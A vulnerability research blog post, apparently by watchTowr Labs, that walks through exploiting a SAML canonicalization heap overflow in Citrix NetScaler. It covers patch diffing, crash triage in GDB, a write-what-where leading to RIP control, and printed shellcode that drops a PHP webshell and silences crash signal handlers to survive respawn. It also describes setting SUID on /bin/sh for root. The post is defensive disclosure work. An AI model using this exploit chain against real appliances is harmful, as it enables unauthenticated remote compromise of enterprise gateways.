You’re Back In The Room (Citrix NetScaler Pre
You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))
Suddenly, you’re in a room. You look around - oh, you’re surrounded by other new starters at your new job. Yes, it’s Monday, and you’re being onboarded.
You know the drill - it’s the typical enterprise “please don’t be a bad person or we may have to fire you” speech. But, you know what’s coming soon. It’s your favorite part of the onboarding process when you’ve started a new role.
It begins! The password policy requirements. You straighten your tie, because sure as heck, your SSLVPN credentials will not be the starting point for this organization. Not this time. Not again. You swore to yourself that you’d use a symbol this time.
Wait, did they just say NetScalers?
The world freezes around you. How are you back in the hellscape? You panic - what does a symbol matter in comparison to the traumatic nightmares you relive every day?
You realize the truth - nobody cares whether your password has a symbol or not. It’s already over for you.
Welcome back to another watchTowr Labs blog post.
It’s been three years since the last publicly documented NetScaler RCE writeup.
ChatGPT tells us that today we’re changing that. Exciting.
In this post, we’re going to walk through a vulnerability that was resolved as part of a recent NetScaler ADC and NetScaler Gateway Security Bulletin. As part of this bulletin, Citrix patched subtly? silently? loudly? patched a Heap Overflow vulnerability that we’re going to walk through today and show how it can be used to achieve Remote Code Execution.
Who Is Citrix NetScaler, and Why Is A Gateway Their First C Project?
Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.
Setting The Scene
To fuel today's analysis, we're analyzing and leveraging a vulnerable NetScaler 13.1 appliance, configured to leverage SAML.
Note: We've intentionally removed the exact build number used during exploit development. You don't need it. Sorry (not sorry).
For those wondering what is actually vulnerable, based on our testing, the vulnerability we’re discussing today is reachable when the Netscaler appliance is configured to use SAML as either a Service Provider (SP) or Identity Provider (IdP).
Citrix lists the following versions as affected:
- NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
- NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18
What Are We Looking At Today?
This is where things get a little confusing, annoying, or mysterious - your choice of word reflects your commitment to the pledge.
While we’d love to tell you we are definitely analyzing CVE-2026-8452, typical Citrix shenanigans (in our view) prevent us from doing so. However, we believe this is CVE-2026-8452 given its description as a “Memory Overflow” vulnerability.
While Citrix doesn't correlate individual CVEs with the researchers credited in the advisory, one of the researchers credited is Michael Tucker from the XOR team at JPMorgan Chase (the others include ourselves, and we can rule out our vulnerabilities).
Adding fuel to our baseless theory, this vulnerability is interesting and complex enough that it’s plausible that this is the output of Mythos-aided research - the model JPMorgan very publicly has access to.
Do we have any evidence of that?
Absolutely not.
Is it fun to speculate?
Always.
Do we have better things to do?
Anyway, Let’s Get Into it
As part of our typical analysis process, especially when dealing with multiple patched vulnerabilities bundled into a single fix, we didn’t start with a specific focus. Instead, we asked, “What changed?”
Specifically the nspppe
binary, NetScaler's packet-processing engine, showed a significant amount of changes - with plenty of stripped symbols thrown in for good measure.
Faced with the prospect of asking Diaphora to diff 39,637 functions, we just screamed - nobody was happy.
After magic, laborious pain, and a slight distrust towards Secure by Designers, we were left with 174 changed functions to review.
Amongst these changes, we spotted a bunch of changes in the SAML authentication functionality. One change in particular, however, turned out to be particularly interesting: an unauthenticated, remotely reachable memory corruption.
A specific change caught our attention - the 63.18
patch adds explicit size checks around these copies, which, conveniently for us, is exactly what led us to the vulnerability in the first place.
During signature canonicalization, earlier versions of the NetScaler solution copy attacker-controlled data from the SAML message's ds:SignedInfo
element into a fixed-size global buffer, without checking whether it actually fits.
Send an oversized SignedInfo
element and the copy continues beyond the end of the buffer, corrupting adjacent packet-engine state and eventually crashing nsppe
, the root packet engine.
For example:
[..SNIP..]
v73 = (int)v191 + 46LL;
if ( v73 >= 0x1001 )
{
if ( (*((_BYTE *)off_2E26480 + 12682) & 1) != 0 || (*((_BYTE *)off_2E26480 + 655736) & 8) == 0 )
goto LABEL_92;
sub_142E640((unsigned int)v195, 25, 603, 3, 0, 0, 0);
v48 = sub_208CB90(
LODWORD(v195[0]) + 56,
1156,
(unsigned int)"SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)",
v73,
v93,
v94,
v164);
v50 = v195[0];
*(_WORD *)(v195[0] + 12LL) = v48;
v51 = v48;
if ( v48 < 0x485u )
goto LABEL_83;
v78 = "SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)";
LABEL_82:
v55 = sub_208CB90((unsigned int)&unk_3872B10, 0x3FFF, (_DWORD)v78, v73, v76, v77, v162);
goto LABEL_87;
}
[..SNIP..]
The Poor Man's Introduction to SAML
When someone sends NetScaler a signed SAML message, NetScaler (because it’s a security appliance) needs to check that the signature is real. For the purposes of ???? however, it doesn't sign the whole message. Instead, it signs one small block inside it called
Think of SignedInfo as a little "receipt" that says: here's what I'm signing, and here's how. The actual signature is calculated over that receipt. So SignedInfo is the piece that really matters; check it, and you've checked the signature.
A signed message looks like this:
...
...
...
One thing you have to know first: "canonicalization"
The same XML can be written many slightly different ways; extra spaces, attributes in a different order, line breaks, etc, and still mean the same thing. That's a problem for signatures, because a signature is math over exact bytes: change one space and logically the math breaks, even though nothing important changed.
So before hashing SignedInfo, both sides first rewrite it into one standard, tidied-up form. This clean-up step is called canonicalization (often shortened to "c14n"). Both the sender and NetScaler perform the same cleanup, so they end up hashing the same bytes.
This clean-up step is where the bug lives. To tidy up SignedInfo, NetScaler has to build the cleaned-up text in a memory buffer and that buffer is a fixed size.
What's inside SignedInfo?
SignedInfo always has three parts:
...
CanonicalizationMethod
specifies which clean-up rule to use. It has an Algorithm attribute (a URL naming the method). When one particular method ("exclusive" clean-up) is used, it can hold a child element:
and this PrefixList is just a list of words the sender chooses.
SignatureMethod
says which signature algorithm was used (e.g. RSA with SHA-256). Just an Algorithm attribute.Reference
points at the actual thing being signed (in SAML, usually the assertion). It has a URI attribute and a few children: a list of Transforms (more processing steps, which can also contain a PrefixList), a DigestMethod (which hash to use), and a DigestValue (the hash itself).
Remember, canonicalization has to copy that text into a fixed-size buffer. So if you're asking "what part of SignedInfo could an attacker make huge?", the answer is …..
So... We Just.. Blasted...
While messing around and fuzzing every attribute we could find, we found that most of them either had their own checks or were limited to a small set of constant values.
But one attribute behaved a little differently - PrefixList
.
Unsurprisingly (it’s a NetScaler), things started getting interesting.
A bit of reversing showed that PrefixList
can contain pretty much any string. The only catch is that each space-separated value has to be unique.
So, instead of using AAAA AAAA AAAA AAAA
we started using unique markers such asN0000 N0001 N0002 N0003
:
...
So lets try making something like this:
[..SNIP..]
prefix_list_overflow = " ".join(f"N{i}" for i in range(2000)) # -> "N0 N1 N2 N3 ... N1999"
inclusive_ns = f''
[..SNIP..]
So let's try making something like this:
And decoded..:
Boom - it’s NetScaler “unintended intended functionality” time:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ??()
Understanding The Unintended Intended Functionality
Due to the lack of symbols, initially, we had no idea where we were actually crashing. After recovering a few symbols and loading them into our GDB session, things started to become a little clearer.
Triggering the crash again gave us this:
Program received signal SIGBUS, Bus error.
0x000000001c6dea0 in ns_memcpy_avx ()
Looking at the crashing instruction shows that the $rax register is about to get dereferenced, but because it contains some invalid value, we're getting a SIGBUS error:
(gdb) x/i $rip
=> 0x1c6dea0 : vmovdqu YMMWORD PTR [rax], ymm0
(gdb) p/x $rax
$1 = 0x4d4d4d4d4d4d43d3
Very quickly, a note on SIGBUS
, because this threw us off at first. On FreeBSD, invalid memory accesses like this can result in a SIGBUS
rather than the SIGSEGV
you might expect to see on Linux.
But here’s the important part: those 0x4d
bytes are ours. We deliberately filled part of the overflow with M
characters (0x4d
) as an obvious marker. Seeing 0x4d4d4d4d4d4d4d4d
inside a pointer used by memcpy
tells us that our data has made it into the allocator metadata.
You might also notice that the lower bytes are 0x43d3
rather than 0x4d4d
. That is not corruption, but instead is the result of some arithmetic, which we’ll come back to shortly.
From what we could tell from the initial crash state and backtrace, the crash wasn't happening at the point of the overflow itself.
Instead, it happened later, when NetScaler retrieved a chunk from the freelist containing metadata that we'd already corrupted:
(gdb) bt
#0 ns_memcpy_avx ()
#1 0x00000000015d128b in splitPktInner ()
#2 0x00000000015d2a40 in splitPkt ()
#3 ... in nstcp_send_nsb ()
#4 ... in the aaad send path
Because we smashed the metadata during canonicalization, the program happily carried on running. It only fell over later, when that same chunk was pulled back from the freelist, and NetScaler tried to use the corrupted metadata.
In other words, the crash inside ns_memcpy_avx
is nowhere near the actual overflow. Staring at the crash itself wasn't going to tell us much.
And so began a game of whack-a-mole. We started placing breakpoints on functions throughout the backtrace and working our way backward. Eventually, we landed on splitPktInner
. After decompiling the function, setting a breakpoint, and triggering the overflow again, we spotted something useful.
We had control of the value being passed in rdi
:
Program received signal SIGBUS, Bus error.
0x00000000015d128b in splitPktInner ()
(gdb) p/x $rdi
$1 = 0x4d4d4d4d4d4d43d3 # dest = poisoned nsb+0x50, mangled by an internal subtraction
The splitPktInner
function calls memcpy
at around 0x15D128B
. Inspecting the arguments just before that call showed us something interesting:
// a3 is a freshly-allocated chunk that we are corrupting its header via the overflow
// a1 is a ptr to a chunk holding our canonicalized data
memcpy(*(a3 + 0x50), // DEST = poisoned data pointer
*(a1 + 0x50), // SRC = our canon
*(a1 + 0xE0) - *(a1 + 0x50)); // LEN = packet length
So where did that 0x43d3 come from?
We said earlier that 0x43d3
was math rather than corruption, so here's the math. We planted a block of M
bytes at a3+0x50
, but splitPktInner
doesn't use that value raw. It adjusts it by the packet length before handing it to the memcpy
, which works out to:
dest = *(a3+0x50) - pktlen
Our packet was 0x97A
(2426) bytes, so:
0x4D4D4D4D4D4D4D4D our planted M tag at a3+0x50 ("MMMMMMMM")
- 0x0000097A minus the packet length
--------------------------
0x4D4D4D4D4D4D43D3 the dest ns_memcpy_avx faulted on
So the destination isn't just "somewhere near our data". It's a value we fully control, minus a length we also control. If we want the copy to land on some address X, we adjust the length of our overflow and let the subtraction drop it right on X. Before doing anything fancy, we already have a memcpy
whose destination is ours.
Ok, but what is the source?
A destination is nice, but a memcpy
needs something to copy. For a while, we assumed the source was some internal framing header we didn't control. We were wrong, and it cost us a good chunk of time. The source is *(a1+0x50)
, and a1
is the chunk holding our canonicalized PrefixList
. So the source is ours too.
We confirmed this by inspecting a1+0x50
at the splitPktInner
breakpoint, before the copy runs:
(gdb) p/x $rsi # rsi = src = *(a1+0x50)
$2 = 0x1124000a0
(gdb) x/32bx $rsi
0x1124000a0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x30 "M0000000"
0x1124000a8: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x38 "M0000008"
0x1124000b0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x31 0x36 "M0000016"
...
Those M0000000 M0000008 M0000016 ...
tokens are our markers, byte for byte. So we now have a memcpy
copying from our packet to any address we want, which is a write-what-where primitive.
Where exactly are we overflowing into?
Now for the question the crash was really asking. Which chunk did we smash, and how did our tag end up in its +0x50
field?
The canonicalized PrefixList
gets packed into an nsb
, a NetScaler network buffer chunk. These chunks sit back to back in the pool on a fixed stride of 0x980
, each one a small header at the front followed by a data area starting at +0x180
:
chunk N (a1, holds our canon) chunk N+1 (a3, the one we corrupt)
+---------------------------------+ +---------------------------------+
| header | data buffer @ +0x180 | | header | data |
| | our canon lives here | | +0x00 type magic | |
| | ...and keeps going... | ==> | +0x50 data pointer | <-- tag |
| | | | +0x60 freelist link | |
+---------------------------------+ +---------------------------------+
^
write runs off the end
of this data buffer
When the canonical form comes out bigger than the data buffer it's meant to fit in, it keeps writing regardless, runs off the end of chunk N, and spills straight onto the header of the next chunk. That header holds all the fields the allocator and the packet code trust: the type magic at +0x00
, the data pointer at +0x50
, the freelist link at +0x60
, and so on.
So the overflow is a plain linear write from one chunk's data area into its neighbor's metadata. Our M
tag showing up at a3+0x50
is just the overflow reaching that neighbor's +0x50
field.
Playing With The Overflow Size
This is where triage turned into an actual plan. For a while, we treated the overflow as one fixed thing: send the big PrefixList
, get a crash, poke at it. It kept crashing in slightly different places for tiny payload changes, which was maddening.
So we started varying the overflow size to see if we could move the crash elsewhere, on the theory that the size determines which chunk gets clobbered and how deep into its header we reach. A short overflow might only touch the neighbour's type field. A bigger one reaches +0x50
and +0x60
. Bigger still and we run into the chunk after that. And since these chunks come off a freelist, the size also changes, which chunk gets handed back to us as a3
later on. So the overflow length isn't a measure of how much damage we do, it's a dial that picks both the victim chunk and which of its fields we get to own.
At which point we started sweeping it on purpose. Pick a size, break on NetScaler's allocator (which appears to be ns_alloc_jumbo_nsb
) and on splitPktInner
, dump the freshly allocated a3
header, and see which of our marker bytes landed on which field.
This is exactly why we built the self-describing N%07d
markers. If a field reads back as N0000744
, then byte 744 of our PrefixList
is what landed there, and we know the precise byte to tweak to steer that field. No guessing.
A dump of a smashed a3
header mid-sweep looked like this:
(gdb) p/x $rdi # rdi = a3, the freshly allocated (and smashed) chunk
$3 = 0x112d30000
(gdb) x/gx $rdi # a3+0x00, type magic, now full of our N marker bytes
0x112d30000: 0x303030304e303030
(gdb) x/gx $rdi+0x50 # a3+0x50, the data pointer that steers the copy
0x112d30050: 0x4d4d4d4d4d4d4d4d # our M tag, so we know this field is ours to set
(gdb) x/gx $rdi+0x60 # a3+0x60, freelist link we pin to a real chunk
0x112d30060: 0x0000000112d30000
Once we could see, byte for byte, which part of our payload owned which header field, the whole thing stopped being whack-a-mole and became "pick the byte, set the value". a3+0x50
steers where the memcpy
writes. a3+0x60
gets pinned to a real chunk address so the allocator doesn't choke on a marker when it walks the freelist. Everything else we leave as harmless N
markers.
That's the core primitive: a linear heap overflow that lets us stamp the header of a neighboring chunk, and because one of those header fields is a data pointer that a later memcpy
trusts, we get to choose where that copy writes.
Next, we sharpen that into a full write-what-where, and from there into RIP control.
Leveraging A Write-What-Where For RIP Control
So, where we're at now: we have a memcpy
where we own both the destination and the source, which is a clean write-what-where. We can drop our bytes at any address we like. The question that matters is a simple one. What do we write, and where?
The big thing working in our favor is that this binary is non-PIE and there's no ASLR, so every function and every global lives at a fixed, known address. No info leak needed.
Overwriting a function pointer looked like the easiest route. For reasons we never worked out, the __free_hook
technique didn't work, so we went looking for NetScaler-specific candidates instead.
After a lot of trial and error, one looked very promising. pe_tx_pkt
was being executed regularly, and while hunting for a function pointer that gets retrieved and called, we noticed that somewhere inside pe_tx_pkt
it loads a pointer named tx_pkt_complete_fptr
and jumps straight to it:
0x1E1A61F: mov rax, cs:tx_pkt_complete_fptr
0x1E1A626: pop rbp
0x1E1A627: jmp rax
This looked perfect. We used the write-what-where primitive to overwrite its value, and immediately got a different crash:
Program received signal SIGSEGV, Segmentation fault.
0x0000000001e1a627 in pe_tx_pkt ()
(gdb) x/i $rip
=> 0x1e1a627 : jmp rax
(gdb) p/x $rax
$1 = 0x303030304e343437 # "744N0000" -> our canon, and this is exactly rax at jmp rax
That $rax
is ASCII. It's a chunk of our PrefixList
, and the 744
baked into it is our marker telling us this landed around byte 744 of our data. So bytes 749 to 756 of the canon are the eight that end up in tx_pkt_complete_fptr
.
We set those eight bytes to whatever we want rax
to be, wire them to a parameter, and send again:
(gdb) x/i $rip
=> 0x1e1a627 : jmp rax
(gdb) p/x $rax
$2 = 0xdeadbeefdeadbeef # fully controlled now
And there it is. Full control over RIP.
That leaves the fun question. Where do we point it?
Jumping-To-Shellcode
Our brains went straight to the textbook answer.
The nsppe
binary lacks almost all of the protections you'd hope to find, and the heap is executable, for reasons known only to Citrix.
There's no ASLR (naturally), and the address of our heap chunk is always the same on a freshly spawned process, which we can arrange by crashing nsppe
once to force a respawn. In our testing, on our version of NetScaler, a fresh nsppe
instance would always have our PrefixList
data sitting at 0x112d30000
on the heap, RWX.
So we use the write-what-where to overwrite tx_pkt_complete_fptr
with the address of our shellcode on the heap. pe_tx_pkt
loads that pointer into rax
, hits its jmp rax
, and jumps straight into our shellcode:
Now that we have shellcode execution, the rest should be easy. Right?
Standing on the shoulders of giants before us, we followed their shellcode strategy and used our shellcode to drop a PHP webshell onto NetScaler at the following path:
/var/vpn/theme/x.php
This turned out to be straightforward. All we needed were the open
, write
and close
syscalls to drop the string
onto disk as a webshell.
Here’s our shellcode:
sc += shellcraft.pushstr("/var/vpn/theme/x.php")
sc += f"""
mov rdi, rsp
"""
sc += shellcraft.syscall(
SYS_open,
"rdi",
O_WRONLY | O_CREAT | O_TRUNC,
MODE
)
sc += """
mov r12, rax
"""
content = ""
sc += shellcraft.pushstr(content)
sc += """
mov rdi, r12
mov rsi, rsp
"""
sc += shellcraft.syscall(
SYS_write,
"rdi",
"rsi",
len(content)
)
sc += """
mov rdi, r12
"""
sc += shellcraft.syscall(
SYS_close,
"rdi"
)
Jumping to the shellcode created the file:
However, we are left with two problems. The first being a host that crashes:
The second? Pitboss.
The Pitboss Problem
Unfortunately, every time nsppe
crashes, a process named pitboss
gets notified somehow, and the entire NetScaler instance reboots.
You might be thinking "well, I don't care, I'll wait for it to come back up and then hit my webshell". To which the answer is:
Yep. None of the files you drop survive a reboot.
And if your next thought is "fine, I'll just loop on the webshell and hit it before the device has a chance to reboot", that's good thinking, but here's the problem. nsppe
handles the entire network stack. The moment it crashes, not a single packet gets through.
Process Continuity And Why It Failed
Once again, the researchers before us had a clean answer to this. The classic move is process continuity: have the shellcode repair everything you corrupted on the way in, so nsppe
never crashes in the first place.
That wasn't going to work for us, as we’ve corrupted far too much, and restoring some of the clobbered values would have required an info leak we didn't have.
The Solution
After many hours of thinking and fiddling around in the debugger (seriously…), we had an idea. How does pitboss
know we've crashed and that it's time for a reboot?
If we were building something like this ourselves, there are plenty of ways to do it, but the quickest would be to have the crashing process notify pitboss
from a signal handler.
Which is exactly what happens here. nsppe
registers handlers for SIGSEGV
, SIGBUS
and friends, and when one fires, the callback lets pitboss
know that something has gone horribly wrong and the box needs restarting.
So why not neutralize the signal handlers? To do that, we need the sigaction
syscall:
So we wrote some additional shellcode to tear down every signal handler:
SYS_sigaction = 416 # sigaction for freebsd
SIG_IGN = 1
signals = [
4, # SIGILL
5, # SIGTRAP
6, # SIGABRT
8, # SIGFPE
10, # SIGBUS
11 # SIGSEGV
]
sc = """
xor eax,eax
push rax
push rax
push rax
push 1
"""
for sig in signals:
sc += f"""
mov rsi,rsp
xor edx,edx
push {sig}
pop rdi
push {SYS_sigaction}
pop rax
syscall
"""
We crossed our fingers, sent the shellcode across, and went to watch the NetScaler error log, which presented us with an interesting new entry:
Instead of rebooting the entire machine, pitboss
decided to simply respawn nsppe
. Which means the webshell our shellcode dropped survives.
BOOM!
Finally, we have code execution!!!
.
.
.
.
but, as nobody?
From Nobody To Somebody
nsppe
already runs as root, so our shellcode executes as root too.
Sadly, the webshell is a different story - when we request our freshly written shell, the process that actually executes the PHP is the webserver. Naturally, the webserver runs as nobody
.
To fix this, we borrowed the same trick from Caleb Gross at Bishop Fox and used the shellcode to set the SUID bit on /bin/sh
.
Any command we run through the webshell now executes with an EUID of root:
Secure. By. Design.
The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached — you'll always get the same 5 for this article.